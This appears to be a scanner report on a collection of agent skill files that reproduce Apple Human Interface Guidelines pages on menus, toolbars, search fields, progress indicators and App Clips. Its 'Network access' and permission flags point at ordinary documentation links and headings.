The View menu doesn’t include items for navigating between or managing specific windows; the [Window menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Window-menu) provides these commands. - Network accessline 152
Menu item| Action ---|--- Show/Hide Tab Bar| Toggles the visibility of the [tab bar](https://developer.apple.com/design/human-interface-guidelines/tab-bars) above the body area in a tab-based window - Network accessline 153
---|--- Show/Hide Tab Bar| Toggles the visibility of the [tab bar](https://developer.apple.com/design/human-interface-guidelines/tab-bars) above the body area in a tab-based window Show All Tabs/Exit Tab Overview| Enters and exits a vie - Network accessline 154
Show/Hide Tab Bar| Toggles the visibility of the [tab bar](https://developer.apple.com/design/human-interface-guidelines/tab-bars) above the body area in a tab-based window - Network accessline 155
Show All Tabs/Exit Tab Overview| Enters and exits a view (similar to Mission Control) that provides an overview of all open tabs in a tab-based window Show/Hide Toolbar| In a window that includes a [toolbar](https://developer.apple.com/de - Network accessline 156
Show/Hide Toolbar| In a window that includes a [toolbar](https://developer.apple.com/design/human-interface-guidelines/toolbars), toggles the toolbar’s visibility - Network accessline 157
Customize Toolbar| In a window that includes a toolbar, opens a view that lets people customize toolbar items Show/Hide Sidebar| In a window that includes a [sidebar](https://developer.apple.com/design/human-interface-guidelines/sidebars) - Network accessline 158
Show/Hide Sidebar| In a window that includes a [sidebar](https://developer.apple.com/design/human-interface-guidelines/sidebars), toggles the sidebar’s visibility - Network accessline 159
Enter/Exit Full Screen| In an app that supports a [full-screen experience](https://developer.apple.com/design/human-interface-guidelines/going-full-screen), opens the window at full-screen size in a new space - Network accessline 161
## [App-specific menus](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#App-specific-menus) - Network accessline 171
## [Window menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Window-menu) - Network accessline 177
The Window menu doesn’t help people customize the appearance of windows or close them. To customize a window, people use commands in the [View menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#View-menu); to c - Network accessline 181
**Consider including menu items for showing and hiding panels.** A [panel](https://developer.apple.com/design/human-interface-guidelines/panels) provides information, configuration options, or tools for interacting with content in a primary - Network accessline 186
---|---|--- Minimize| Minimizes the active window to the Dock. Pressing the Option key changes this item to Minimize All.| Zoom| Toggles between a predefined size appropriate to the window’s content and the window size people set. Pres - Network accessline 187
Minimize| Minimizes the active window to the Dock. Pressing the Option key changes this item to Minimize All.| Zoom| Toggles between a predefined size appropriate to the window’s content and the window size people set. Pressing the Optio - Network accessline 188
Zoom| Toggles between a predefined size appropriate to the window’s content and the window size people set. Pressing the Option key changes this item to Zoom All.| Avoid using Zoom to enter or exit full-screen mode. The [View menu](https:// - Network accessline 191
Move Tab to New Window| Opens the current tab in a new window.| Merge All Windows| Combines all open windows into a single tabbed window.| Enter/Exit Full Screen| In an app that supports a [full-screen experience](https://developer.ap - Network accessline 192
Merge All Windows| Combines all open windows into a single tabbed window.| Enter/Exit Full Screen| In an app that supports a [full-screen experience](https://developer.apple.com/design/human-interface-guidelines/going-full-screen), opens - Network accessline 193
Enter/Exit Full Screen| In an app that supports a [full-screen experience](https://developer.apple.com/design/human-interface-guidelines/going-full-screen), opens the window at full-screen size in a new space.| Include this item in the Wind - Network accessline 197
## [Help menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Help-menu) - Network accessline 207
For guidance, see [Offering help](https://developer.apple.com/design/human-interface-guidelines/offering-help); for developer guidance, see [`NSHelpManager`](https://developer.apple.com/documentation/AppKit/NSHelpManager). - Network accessline 209
## [Dynamic menu items](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Dynamic-menu-items) - Network accessline 217
**Require only a single modifier key to reveal a dynamic menu item.** It can be physically awkward to press more than one key while simultaneously opening a menu and choosing a menu item, in addition to reducing the discoverability of the d - Network accessline 223
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Platform-considerations) - Network accessline 227
### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#iPadOS) - Network accessline 229
The menu bar displays the top-level menus for your app or game, including both system-provided menus and any custom ones you choose to add. People reveal the menu bar by moving the pointer to the top edge of the screen, or swiping down from - Network accessline 250
### [macOS](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#macOS) - Network accessline 252
The menu bar in macOS includes the Apple menu, which is always the first item on the leading side of the menu bar. The Apple menu includes system-defined menu items that are always available, and you can’t modify or remove it. Space permitt - Network accessline 256
When people enter full-screen mode, the menu bar typically hides until they reveal it by moving the pointer to the top of the screen. For guidance, see [Going full screen](https://developer.apple.com/design/human-interface-guidelines/going- - Network accessline 258
#### [Menu bar extras](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Menu-bar-extras) - Network accessline 260
A menu bar extra exposes app-specific functionality using an icon that appears in the menu bar when your app is running, even when it’s not the frontmost app. Menu bar extras are on the opposite side of the menu bar from your app’s menus. F - Network accessline 264
 - Network accessline 266
**Consider using a symbol to represent your menu bar extra.** You can create an [icon](https://developer.apple.com/design/human-interface-guidelines/icons) or you can choose one of the [SF Symbols](https://developer.apple.com/design/human-i - Network accessline 268
**Display a menu — not a popover — when people click your menu bar extra.** Unless the app functionality you want to expose is too complex for a menu, avoid presenting it in a [popover](https://developer.apple.com/design/human-interface-gui - Network accessline 274
**Consider exposing app-specific functionality in other ways, too.** For example, you can provide a [Dock menu](https://developer.apple.com/design/human-interface-guidelines/dock-menus) that appears when people Control-click your app’s Dock - Network accessline 276
## [Resources](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Resources) - Network accessline 278
#### [Related](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Related) - Network accessline 280
[Menus](https://developer.apple.com/design/human-interface-guidelines/menus) - Network accessline 282
[Dock menus](https://developer.apple.com/design/human-interface-guidelines/dock-menus) - Network accessline 284
[Standard keyboard shortcuts](https://developer.apple.com/design/human-interface-guidelines/keyboards#Standard-keyboard-shortcuts) - Network accessline 286
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Developer-documentation) - Network accessline 288
[`CommandMenu`](https://developer.apple.com/documentation/SwiftUI/CommandMenu) — SwiftUI - Network accessline 290
[Adding menus and shortcuts to the menu bar and user interface](https://developer.apple.com/documentation/UIKit/adding-menus-and-shortcuts-to-the-menu-bar-and-user-interface) — UIKit - Network accessline 292
[`NSStatusBar`](https://developer.apple.com/documentation/AppKit/NSStatusBar) — AppKit - Network accessline 294
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Videos) - Network accessline 296
[ Elevate the design of your iPad app ](https://developer.apple.com/videos/play/wwd - Network accessline 298
## [Change log](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Change-log)
skills/hig-components-menus/references/toolbars.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Toolbars | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/toolbars - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/toolbars - Network accessline 9
 - Network accessline 19
* Actions, or bar items, like [buttons](https://developer.apple.com/design/human-interface-guidelines/buttons) and [menus](https://developer.apple.com/design/human-interface-guidelines/menus) - Network accessline 24
In contrast to a toolbar, a [tab bar](https://developer.apple.com/design/human-interface-guidelines/tab-bars) is specifically for navigating between areas of an app. - Network accessline 26
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/toolbars#Best-practices) - Network accessline 41
 - Network accessline 63
## [Navigation](https://developer.apple.com/design/human-interface-guidelines/toolbars#Navigation) - Network accessline 65
A toolbar with navigation controls appears at the top of a window, helping people move through a hierarchy of content. A toolbar also often contains a [search field](https://developer.apple.com/design/human-interface-guidelines/search-field - Network accessline 67
**Use the standard Back and Close buttons.** People know that the standard Back button lets them retrace their steps through a hierarchy of information, and the standard Close button closes a modal view. Prefer the standard symbols for each - Network accessline 69
 - Network accessline 73
 - Network accessline 75
 - Network accessline 77
## [Actions](https://developer.apple.com/design/human-interface-guidelines/toolbars#Actions) - Network accessline 81
**Make sure the meaning of each control is clear.** Don’t make people guess or experiment to figure out what a toolbar item does. Prefer simple, recognizable symbols for items instead of text, except for actions like _edit_ that aren’t well - Network accessline 83
 - Network accessline 85
 - Network accessline 87
 - Network accessline 89
 - Network accessline 91
**Prefer system-provided symbols without borders.** System-provided symbols are familiar, automatically receive appropriate coloring and vibrancy, and respond consistently to user interactions. Borders (like outlined circle symbols) aren’t - Network accessline 93
 - Network accessline 97
 - Network accessline 103
 - Network accessline 118
 - Network accessline 130
 - Network accessline 138
**Keep actions with text labels separate.** Placing an action with a text label next to an action with a symbol can create the illusion of a single action with a combined text and symbol, leading to confusion and misinterpretation. If your - Network accessline 140
 - Network accessline 144
 - Network accessline 148
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/toolbars#Platform-considerations) - Network accessline 152
### [iOS](https://developer.apple.com/design/human-interface-guidelines/toolbars#iOS) - Network accessline 156
**Use a large title to help people stay oriented as they navigate and scroll.** By default, a large title transitions to a standard title as people begin scrolling the content, and transitions back to large when people scroll to the top, re - Network accessline 158
### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/toolbars#iPadOS) - Network accessline 160
**Consider combining a toolbar with a tab bar.** In iPadOS, a toolbar and a [tab bar](https://developer.apple.com/design/human-interface-guidelines/tab-bars) can coexist in the same horizontal space at the top of the view. This is particula - Network accessline 162
### [macOS](https://developer.apple.com/design/human-interface-guidelines/toolbars#macOS) - Network accessline 166
 - Network accessline 170
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/toolbars#visionOS) - Network accessline 174
 - Network accessline 182
 - Network accessline 184
**Avoid creating a vertical toolbar.** In visionOS, [tab bars](https://developer.apple.com/design/human-interface-guidelines/tab-bars) are vertical, so presenting a vertical toolbar could confuse people. - Network accessline 190
**Avoid using a pull-down menu in a toolbar.** A pull-down menu lets you offer additional actions related to a toolbar item, but can be difficult for people to discover and may clutter your interface. Because a toolbar is located at the bot - Network accessline 192
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/toolbars#watchOS) - Network accessline 196
 - Network accessline 200
 - Network accessline 204
For developer guidance, see [`topBarLeading`](https://developer.apple.com/documentation/SwiftUI/ToolbarItemPlacement/topBarLeading), [`topBarTrailing`](https://developer.apple.com/documentation/SwiftUI/ToolbarItemPlacement/topBarTrailing), - Network accessline 208
. - Network accessline 220
## [Resources](https://developer.apple.com/design/human-interface-guidelines/toolbars#Resources) - Network accessline 222
#### [Related](https://developer.apple.com/design/human-interface-guidelines/toolbars#Related) - Network accessline 224
[Sidebars](https://developer.apple.com/design/human-interface-guidelines/sidebars) - Network accessline 226
[Tab bars](https://developer.apple.com/design/human-interface-guidelines/tab-bars) - Network accessline 228
[Layout](https://developer.apple.com/design/human-interface-guidelines/layout) - Network accessline 230
[Buttons](https://developer.apple.com/design/human-interface-guidelines/buttons) - Network accessline 232
[Search fields](https://developer.apple.com/design/human-interface-guidelines/search-fields) - Network accessline 234
[Apple Design Resources](https://developer.apple.com/design/resources/) - Network accessline 236
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/toolbars#Developer-documentation) - Network accessline 238
[Toolbars](https://developer.apple.com/documentation/SwiftUI/Toolbars) — SwiftUI - Network accessline 240
[`UIToolbar`](https://developer.apple.com/documentation/UIKit/UIToolbar) — UIKit - Network accessline 242
[`NSToolbar`](https://developer.apple.com/documentation/AppKit/NSToolbar) — AppKit - Network accessline 244
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/toolbars#Videos) - Network accessline 246
[ Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 248
## [Change log](https://developer.apple.com/design/human-interface-guidelines/toolbars#Change-log)
skills/hig-components-search/SKILL.md
- Network accessline 70
*Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*
skills/hig-components-search/references/page-controls.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Page controls | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/page-controls - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/page-controls - Network accessline 9
 - Network accessline 23
## [Customizing indicators](https://developer.apple.com/design/human-interface-guidelines/page-controls#Customizing-indicators) - Network accessline 27
If it enhances your app or game, you can provide a custom image to use as the default image for all indicators and you can also supply a different image for a specific page. For developer guidance, see [`preferredIndicatorImage`](https://de - Network accessline 29
**Make sure custom indicator images are simple and clear.** Avoid complex shapes, and don’t include negative space, text, or inner lines, because these details can make an icon muddy and indecipherable at very small sizes. Consider using si - Network accessline 35
Using several different indicators can make a page control look busy and difficult to - Network accessline 39
Using only two different indicators looks well-organized and provides a consiste - Network accessline 45
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/page-controls#Platform-considerations) - Network accessline 49
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/page-controls#iOS-iPadOS) - Network accessline 53
. - Network accessline 78
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/page-controls#tvOS) - Network accessline 82
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/page-controls#visionOS) - Network accessline 86
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/page-controls#watchOS) - Network accessline 88
In watchOS, page controls can be displayed at the bottom of the screen for horizontal pagination, or next to the Digital Crown when presenting a vertical [tab view](https://developer.apple.com/design/human-interface-guidelines/components/la - Network accessline 90
 - Network accessline 104
#### [Related](https://developer.apple.com/design/human-interface-guidelines/page-controls#Related) - Network accessline 106
[Scroll views](https://developer.apple.com/design/human-interface-guidelines/scroll-views) - Network accessline 108
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/page-controls#Developer-documentation) - Network accessline 110
[`PageTabViewStyle`](https://developer.apple.com/documentation/SwiftUI/PageTabViewStyle) — SwiftUI - Network accessline 112
[`UIPageControl`](https://developer.apple.com/documentation/UIKit/UIPageControl) — UIKit - Network accessline 114
## [Change log](https://developer.apple.com/design/human-interface-guidelines/page-controls#Change-log)
skills/hig-components-search/references/path-controls.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Path controls | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/path-controls - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/path-controls - Network accessline 9
 - Network accessline 19
 - Network accessline 21
**Pop up.** A control similar to a [pop-up button](https://developer.apple.com/design/human-interface-guidelines/pop-up-buttons) that shows the icon and name of the selected item. People can click the item to open a menu containing the root - Network accessline 23
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/path-controls#Best-practices) - Network accessline 27
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/path-controls#Platform-considerations) - Network accessline 31
## [Resources](https://developer.apple.com/design/human-interface-guidelines/path-controls#Resources) - Network accessline 33
#### [Related](https://developer.apple.com/design/human-interface-guidelines/path-controls#Related) - Network accessline 35
[File management](https://developer.apple.com/design/human-interface-guidelines/file-management) - Network accessline 37
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/path-controls#Developer-documentation) - Network accessline 39
[`NSPathControl`](https://developer.apple.com/documentation/AppKit/NSPathControl) — AppKit
skills/hig-components-search/references/search-fields.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Search fields | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/search-fields - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/search-fields - Network accessline 9
; for guidance related to systemwide search, see [Searching](https://developer.apple - Network accessline 15
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/search-fields#Best-practices) - Network accessline 27
## [Scope controls and tokens](https://developer.apple.com/design/human-interface-guidelines/search-fields#Scope-controls-and-tokens) - Network accessline 31
* A _scope control_ acts like a [segmented control](https://developer.apple.com/design/human-interface-guidelines/segmented-controls) for choosing a category for the search. - Network accessline 38
 - Network accessline 52
### [iOS](https://developer.apple.com/design/human-interface-guidelines/search-fields#iOS) - Network accessline 67
#### [Search in a tab bar](https://developer.apple.com/design/human-interface-guidelines/search-fields#Search-in-a-tab-bar) - Network accessline 71
 - Network accessline 98
 - Network accessline 120
### [iPadOS, macOS](https://developer.apple.com/design/human-interface-guidelines/search-fields#iPadOS-macOS) - Network accessline 124
 - Network accessline 144
A search screen is a specialized keyboard screen that helps people enter search text, displaying search results beneath the keyboard in a fully customizable view. For developer guidance, see [`UISearchController`](https://developer.apple.co - Network accessline 146
 - Network accessline 154
## [Resources](https://developer.apple.com/design/human-interface-guidelines/search-fields#Resources) - Network accessline 156
#### [Related](https://developer.apple.com/design/human-interface-guidelines/search-fields#Related) - Network accessline 158
[Searching](https://developer.apple.com/design/human-interface-guidelines/searching) - Network accessline 160
[Token fields](https://developer.apple.com/design/human-interface-guidelines/token-fields) - Network accessline 162
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/search-fields#Developer-documentation) - Network accessline 164
[Adding a search interface to your app](https://developer.apple.com/documentation/SwiftUI/Adding-a-search-interface-to-your-app) — SwiftUI - Network accessline 166
[`searchable(text:placement:prompt:)`](https://developer.apple.com/documentation/SwiftUI/View/searchable\(text:placement:prompt:\)) — SwiftUI - Network accessline 168
[`UISearchBar`](https://developer.apple.com/documentation/UIKit/UISearchBar) — UIKit - Network accessline 170
[`UISearchTextField`](https://developer.apple.com/documentation/UIKit/UISearchTextField) — UIKit - Network accessline 172
[`NSSearchField`](https://developer.apple.com/documentation/AppKit/NSSearchField) — AppKit - Network accessline 174
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/search-fields#Videos) - Network accessline 176
[ Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 178
[ Discoverable design ](https://developer.apple.com/videos/play/wwdc2021/10126) - Network accessline 180
[ Craft search experiences in SwiftUI ](https://developer.apple.com/videos/play/wwdc2021/10176) - Network accessline 182
## [Change log](https://developer.apple.com/design/human-interface-guidelines/search-fields#Change-log)
skills/hig-components-status/SKILL.md
- Network accessline 88
*Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*
skills/hig-components-status/references/activity-rings.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Activity rings | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/activity-rings - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/activity-rings - Network accessline 9
 - Network accessline 17
| |  - Network accessline 60
### [iOS](https://developer.apple.com/design/human-interface-guidelines/activity-rings#iOS) - Network accessline 62
Activity rings are available in iOS with [`HKActivityRingView`](https://developer.apple.com/documentation/HealthKitUI/HKActivityRingView). The appearance of the Activity ring element changes automatically depending on whether an Apple Watch - Network accessline 71
 - Network accessline 83
#### [Related](https://developer.apple.com/design/human-interface-guidelines/activity-rings#Related) - Network accessline 85
[Workouts](https://developer.apple.com/design/human-interface-guidelines/workouts) - Network accessline 87
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/activity-rings#Developer-documentation) - Network accessline 89
[`HKActivityRingView`](https://developer.apple.com/documentation/HealthKitUI/HKActivityRingView) — HealthKit - Network accessline 91
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/activity-rings#Videos) - Network accessline 93
[ Track workouts with HealthKit on iOS and iPadOS ](https://developer.apple.com/vide - Network accessline 95
[ Build a workout app for Apple Watch ](https://developer.apple.com/videos/play/wwdc2021/10009) - Network accessline 97
[ Build custom workouts with WorkoutKit ](https://developer.apple.com/videos/play/ww - Network accessline 99
## [Change log](https://developer.apple.com/design/human-interface-guidelines/activity-rings#Change-log)
skills/hig-components-status/references/progress-indicators.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Progress indicators | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/progress-indicators - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/progress-indicators - Network accessline 9
Progress bar - Network accessline 26
macOS - Network accessline 32
watchOS - Network accessline 34
For developer guidance, see [`ProgressView`](https://developer.apple.com/documentation/SwiftUI/ProgressView). - Network accessline 36
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#Best-practices) - Network accessline 54
**Let people know when halting a process has a negative consequence.** When canceling a process results in lost progress, it’s helpful to provide an [alert](https://developer.apple.com/design/human-interface-guidelines/alerts) that includes - Network accessline 56
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#Platform-considerations) - Network accessline 60
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#iOS-iPadOS) - Network accessline 62
#### [Refresh content controls](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#Refresh-content-controls) - Network accessline 66
 - Network accessline 72
For developer guidance, see [`UIRefreshControl`](https://developer.apple.com/documentation/UIKit/UIRefreshControl). - Network accessline 74
### [macOS](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#macOS) - Network accessline 78
Indeterminate circular progress indicator - Network accessline 86
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#watchOS) - Network accessline 90
Progress bar - Network accessline 92
Circular progress indicator - Network accessline 94
Activity indicator - Network accessline 96
## [Resources](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#Resources) - Network accessline 98
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#Developer-documentation) - Network accessline 100
[`ProgressView`](https://developer.apple.com/documentation/SwiftUI/ProgressView) — SwiftUI - Network accessline 102
[`UIProgressView`](https://developer.apple.com/documentation/UIKit/UIProgressView) — UIKit - Network accessline 104
[`UIActivityIndicatorView`](https://developer.apple.com/documentation/UIKit/UIActivityIndicatorView) — UIKit - Network accessline 106
[`UIRefreshControl`](https://developer.apple.com/documentation/UIKit/UIRefreshControl) — UIKit - Network accessline 108
[`NSProgressIndicator`](https://developer.apple.com/documentation/AppKit/NSProgressIndicator) — AppKit - Network accessline 110
## [Change log](https://developer.apple.com/design/human-interface-guidelines/progress-indicators#Change-log)
skills/hig-components-status/references/status-bars.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Status bars | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/status-bars - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/status-bars - Network accessline 9
 - Network accessline 13
**Obscure content under the status bar.** By default, the background of the status bar is transparent, allowing content beneath to show through. This transparency can make it difficult to see information presented in the status bar. If cont - Network accessline 17
 - Network accessline 31
## [Resources](https://developer.apple.com/design/human-interface-guidelines/status-bars#Resources) - Network accessline 33
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/status-bars#Developer-documentation) - Network accessline 35
[`UIStatusBarStyle`](https://developer.apple.com/documentation/UIKit/UIStatusBarStyle) — UIKit - Network accessline 37
[`preferredStatusBarStyle`](https://developer.apple.com/documentation/UIKit/UIViewController/preferredStatusBarStyle) — UIKit
skills/hig-components-system/SKILL.md
- Network accessline 108
*Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*
skills/hig-components-system/references/app-clips.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "App Clips | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/app-clips - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/app-clips - Network accessline 9
. - Network accessline 49
## [Designing your App Clip](https://developer.apple.com/design/human-interface-guidelines/app-clips#Designing-your-App-Clip) - Network accessline 69
**Make it easy to pay for a service or product.** Entering payment information can be a long and error-prone task. Consider supporting [Apple Pay](https://developer.apple.com/design/human-interface-guidelines/apple-pay) to offer express che - Network accessline 71
**Avoid requiring people to create an account before they can benefit from your App Clip.** Creating an account is a complex task that takes time and effort. Consider not requiring an account, or think about asking people to create an accou - Network accessline 75
### [Preserving privacy](https://developer.apple.com/design/human-interface-guidelines/app-clips#Preserving-privacy) - Network accessline 77
The system imposes limits on App Clips to ensure people’s privacy. For example, App Clips can’t perform background operations. For developer guidance, see [Choosing the right functionality for your App Clip](https://developer.apple.com/docu - Network accessline 81
**Consider offering Sign in with Apple.** Sign in with Apple securely retains login information off people’s devices and preserves their privacy. For guidance, see [Sign in with Apple](https://developer.apple.com/design/human-interface-guid - Network accessline 83
**Offer a secure way to pay for services or goods that also respects people’s privacy.** For example, consider offering [Apple Pay](https://developer.apple.com/design/human-interface-guidelines/apple-pay). - Network accessline 85
### [Showcasing your app](https://developer.apple.com/design/human-interface-guidelines/app-clips#Showcasing-your-app) - Network accessline 102
**Pick the right time to recommend your app.** When someone completes a task or reaches a natural pause, display an [`SKOverlay`](https://developer.apple.com/documentation/StoreKit/SKOverlay) that allows people to initiate a download of you - Network accessline 106
For developer guidance, see [Recommending your app to App Clip users](https://developer.apple.com/documentation/AppClip/recommending-your-app-to-app-clip-users). - Network accessline 108
### [Limiting notifications](https://developer.apple.com/design/human-interface-guidelines/app-clips#Limiting-notifications) - Network accessline 118
For developer guidance, see [Enabling notifications in App Clips](https://developer.apple.com/documentation/AppClip/enabling-notifications-in-app-clips). - Network accessline 120
### [Creating App Clips for businesses](https://developer.apple.com/design/human-interface-guidelines/app-clips#Creating-App-Clips-for-businesses) - Network accessline 122
If you’re a platform provider who services businesses, you may create several App Clip experiences in [App Store Connect](https://appstoreconnect.apple.com) and use a single App Clip to power them all. To people using the App Clip, it appea - Network accessline 128
For developer guidance, see [Configuring App Clip experiences](https://developer.apple.com/documentation/AppClip/configuring-the-launch-experience-of-your-app-clip). - Network accessline 130
## [Creating content for an App Clip card](https://developer.apple.com/design/human-interface-guidelines/app-clips#Creating-content-for-an-App-Clip-card) - Network accessline 146
 - Network accessline 152
App Clip Code with the App Clip logo - Network accessline 154
App Clip Code without the App Clip logo - Network accessline 156
App Clip Codes always use the designs Apple provides and follow size, placement, and printing guidelines. Choose between the badge design that uses the App Clip logo ( App Clip) or, when space is at a premium, a design without it. Create A - Network accessline 158
### [Interacting with App Clip Codes](https://developer.apple.com/design/human-interface-guidelines/app-clips#Interacting-with-App-Clip-Codes) - Network accessline 162
 - Network accessline 175
 - Network accessline 211
 - Network accessline 223
 - Network accessline 225
 - Network accessline 227
 - Network accessline 229
 - Network accessline 231
 - Network accessline 241
 - Network accessline 243
 - Network accessline 249
 - Network accessline 253
 - Network accessline 259
. - Network accessline 281
**Adhere to[Guidelines for Using Apple Trademarks](https://www.apple.com/legal/intellectual-property/guidelinesfor3rdparties.html) when referring to your App Clip and App Clip Codes.** For example, Apple trademarks can’t appear in your app - Network accessline 283
### [Customizing your App Clip Code](https://developer.apple.com/design/human-interface-guidelines/app-clips#Customizing-your-App-Clip-Code) - Network accessline 285
Use [App Store Connect](https://appstoreconnect.apple.com) or the [App Clip Code Generator](https://developer.apple.com/app-clips/resources/) command-line tool to create App Clip Codes, and follow best practices to ensure a reliable scannin - Network accessline 287
 - Network accessline 293
 - Network accessline 295
 - Network accessline 297
 - Network accessline 299
 - Network accessline 301
 - Network accessline 303
**Choose colors with enough contrast that ensure accurate scanning.** Each App Clip Code uses three colors: a foreground color, a background color, and a third color that’s generated for you based on the foreground and background colors. Bo - Network accessline 305
 - Network accessline 309
App Clip Codes offer the best experience to launch App Clips. As a result, it’s important to manufacture and display App Clip Codes that offer a reliable scanning experience for a long time. You can print App Clip Codes yourself, or work wi - Network accessline 317
**Use correct color settings when you convert the generated SVG file to a CMYK image.** Both the [App Clip Code Generator](https://developer.apple.com/app-clips/resources/) command-line tool and [App Store Connect](https://appstoreconnect.a - Network accessline 325
If you create many App Clip Codes with the [App Clip Code Generator](https://developer.apple.com/app-clips/resources/) tool or [App Store Connect](https://appstoreconnect.apple.com), you’ll likely work with a professional printing service. - Network accessline 327
### [Verifying your printer’s calibration](https://developer.apple.com/design/human-interface-guidelines/app-clips#Verifying-your-printers-calibration) - Network accessline 329
A reliable scanning experience depends on the quality of your printed App Clip Codes. To ensure printing App Clip Codes results in a reliable scanning experience and to avoid using a printer that can’t print high-quality App Clip Codes, App - Network accessline 335
## [Legal requirements](https://developer.apple.com/design/human-interface-guidelines/app-clips#Legal-requirements) - Network accessline 353
For more information about using Apple trademarks, see [Guidelines for Using Apple Trademarks](https://www.apple.com/legal/intellectual-property/guidelinesfor3rdparties.html). - Network accessline 355
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/app-clips#Platform-considerations) - Network accessline 359
## [Resources](https://developer.apple.com/design/human-interface-guidelines/app-clips#Resources) - Network accessline 361
#### [Related](https://developer.apple.com/design/human-interface-guidelines/app-clips#Related) - Network accessline 363
[Apple Pay](https://developer.apple.com/design/human-interface-guidelines/apple-pay) - Network accessline 365
[Sign in with Apple](https://developer.apple.com/design/human-interface-guidelines/sign-in-with-apple) - Network accessline 367
[Guidelines for Using Apple Trademarks and Copyrights](https://www.apple.com/legal/intellectual-property/guidelinesfor3rdparties.html) - Network accessline 369
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/app-clips#Developer-documentation) - Network accessline 371
[App Clips](https://developer.apple.com/documentation/AppClip) - Network accessline 373
[App Store Connect](https://appstoreconnect.apple.com/) - Network accessline 375
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/app-clips#Videos) - Network accessline 377
[ What's new in App Clips ](https://developer.apple.com/videos/play/wwdc2021/10012) - Network accessline 379
[ Build light and fast App Clips ](https://developer.apple.com/videos/play/wwdc2021/10013) - Network accessline 381
## [Change log](https://developer.apple.com/design/human-interface-guidelines/app-clips#Change-log)
skills/hig-components-system/references/app-shortcuts.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "App Shortcuts | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/app-shortcuts - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/app-shortcuts - Network accessline 9
